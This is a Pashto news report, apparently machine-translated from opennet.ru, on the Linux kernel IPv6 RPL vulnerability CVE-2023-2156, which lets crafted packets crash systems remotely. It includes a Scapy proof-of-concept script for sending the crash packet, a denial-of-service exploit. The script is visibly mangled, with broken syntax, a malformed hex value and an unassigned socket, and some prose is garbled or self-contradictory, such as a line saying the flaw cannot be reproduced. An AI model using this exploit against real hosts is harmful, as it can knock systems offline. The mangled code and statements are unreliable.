د 0-day لینکس IPv6 سټیک زیانمنتیا چې د ریموټ کرنل حادثې ته اجازه ورکوي

په لینکس کرنل کې د ناسم (0-ورځو) زیانمننې (CVE-2023-2156) په اړه معلومات افشا شوي، کوم چې د ځانګړي ډیزاین شوي IPv6 پاکټونو (د مړینې کڅوړې) لیږلو سره د سیسټم بندولو ته اجازه ورکوي. ستونزه یوازې هغه وخت څرګندیږي کله چې د RPL (د ټیټ بریښنا او زیان لرونکي شبکو لپاره د روټینګ پروتوکول) پروتوکول فعال شوی وي ، کوم چې په توزیع کې د ډیفالټ لخوا غیر فعال شوی او په عمده توګه په بیسیم شبکې کې د لوړ پیکټ ضایع کیدو سره په سرایت شوي وسیلو کې کارول کیږي.

زیانمنتیا د RPL پروتوکول پارسینګ کوډ کې د بهرني ډیټا غلط پروسس کولو له امله رامینځته کیږي ، کوم چې د اصرار ناکامۍ لامل کیږي او دانه د ویرونکي حالت ته ځي. کله چې د k_buff (ساکټ بفر) جوړښت کې د IPv6 RPL پاکټ سرلیک پارس کولو څخه ترلاسه شوي ډاټا ځای په ځای کړئ، که د CmprI ساحه 15 ته، د Segleft ساحه 1 ته، او CmprE 0 ته ټاکل شوې وي، د پتې سره د 48-بایټ ویکتور ډیکمپریس کیږي. تر 528 بایټ پورې او داسې حالت ښکاري چیرې چې د بفر لپاره تخصیص شوی حافظه کافي ندي. په دې حالت کې، د skb_push فنکشن، چې په جوړښت کې د ډاټا فشارولو لپاره کارول کیږي، د ډیټا او بفر د اندازې ترمنځ د ناامني لپاره چک کوي، د بفر حد څخه هاخوا د لیکلو مخه نیولو لپاره د ویرې حالت رامینځته کوي.

د استفادې بېلګه: # موږ به Scapy وکاروو ترڅو له scapy.all import * import socket # IPv6 له خپل LAN انٹرفیس څخه وکاروو DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # موږ ساکټونه کاروو socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # پاکټ جوړ کړئ # ډول = 3 دا د RPL پاکټ جوړوي # پته 3 پتې لري، مګر ځکه چې CmprI 15 دی، # د لومړیو دوو پتو هر یو آکټیټ دی د کمپریس شوي آدرس په توګه چلند کیږي # Segleft = 1 د امپلیفیکیشن محرک کولو لپاره # lastentry = 0xf0 CmprI ته 15 او CmprE ته 0 p = IPv6 (src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type:" = 3) :" "a8::"، "a7::"], segleft=6, lastentry=1xf0) # دا بد پاکټ ولیږئ sockfd.sendto(bytes(p), (DST_ADDR, 0))

د یادونې وړ ده چې د کرنل پراختیا کونکو ته د 2022 په جنوري کې بیرته د زیان رسولو څخه خبر ورکړل شوی و او په تیرو 15 میاشتو کې دوی درې ځله هڅه کړې چې ستونزه حل کړي ، په سپټمبر 2022 ، اکتوبر 2022 او اپریل 2023 کې پیچونه خوشې کړي ، مګر هرځل یې اصلاحات و. کافي ندي او زیانمنونکي نشي بیا تولید کیدی. په نهایت کې، د ZDI پروژه، چې د زیانمننې د حل کولو لپاره یې کار همغږي کړی، پریکړه وکړه چې د زیانمننې په اړه مفصل معلومات خپاره کړي پرته له دې چې په دانا کې د کاري حل شتون ته انتظار وکړي.

په دې توګه، زیانمنتیا لاهم ناڅرګنده پاتې ده. په ځانګړې توګه، هغه پیچ چې په 6.4-rc2 دانی کې شامل دی غیر اغیزمن دی. کاروونکو ته مشوره ورکول کیږي چې وګوري چې د RPL پروتوکول د دوی په سیسټمونو کې نه کارول کیږي، کوم چې د کمانډ په کارولو سره ترسره کیدی شي sysctl -a | grep -i rpl_seg_enabled

سرچینه: opennet.ru

Add a comment